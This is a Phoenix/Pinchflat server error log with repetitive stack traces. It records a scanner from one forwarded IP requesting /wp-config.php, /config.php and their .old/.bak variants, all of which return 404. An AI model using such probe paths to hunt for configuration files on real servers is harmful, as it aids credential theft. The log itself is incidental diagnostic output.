~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 29, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 29, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3196.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/wp-config.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcda4YjUgSVOoAAPcB"} ], scheme: :http, (truncated) 23:35:19.197 [info] GET /wp-config.php.old 23:35:19.198 [debug] QUERY OK source="settings" db=0.2ms idle=379.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.198 [debug] QUERY OK source="settings" db=0.1ms idle=251.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.198 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:19.198 [error] #PID<0.3197.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 30) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /wp-config.php.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 30, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3197.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/wp-config.php.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdbUZ0p5iVxoAAPdB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 30, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 30, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3197.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/wp-config.php.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdbUZ0p5iVxoAAPdB"} ], scheme: :http, sc (truncated) 23:35:19.311 [info] GET /config.php 23:35:19.312 [debug] QUERY OK source="settings" db=0.3ms idle=365.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.312 [debug] QUERY OK source="settings" db=0.0ms idle=231.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.312 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:19.312 [error] #PID<0.3198.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 31) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /config.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 31, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3198.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdbvji6l0EUIAAPeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 31, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 31, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3198.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdbvji6l0EUIAAPeB"} ], scheme: :http, script_name: [], (truncated) 23:35:19.440 [info] GET /config.php.bak 23:35:19.441 [debug] QUERY OK source="settings" db=0.3ms idle=360.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.441 [debug] QUERY OK source="settings" db=0.1ms idle=243.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.441 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:19.441 [error] #PID<0.3199.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 32) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /config.php.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 32, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3199.0>, params: %{}, path_info: ["config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdcOcBnIP9QcAAPfB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 32, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 32, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3199.0>, params: %{}, path_info: ["config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdcOcBnIP9QcAAPfB"} ], scheme: (truncated) 23:35:19.565 [info] GET /config.js 23:35:19.565 [debug] QUERY OK source="settings" db=0.4ms idle=366.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.566 [debug] QUERY OK source="settings" db=0.2ms idle=253.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.566 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:19.566 [error] #PID<0.3200.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 33) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 33, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3200.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => 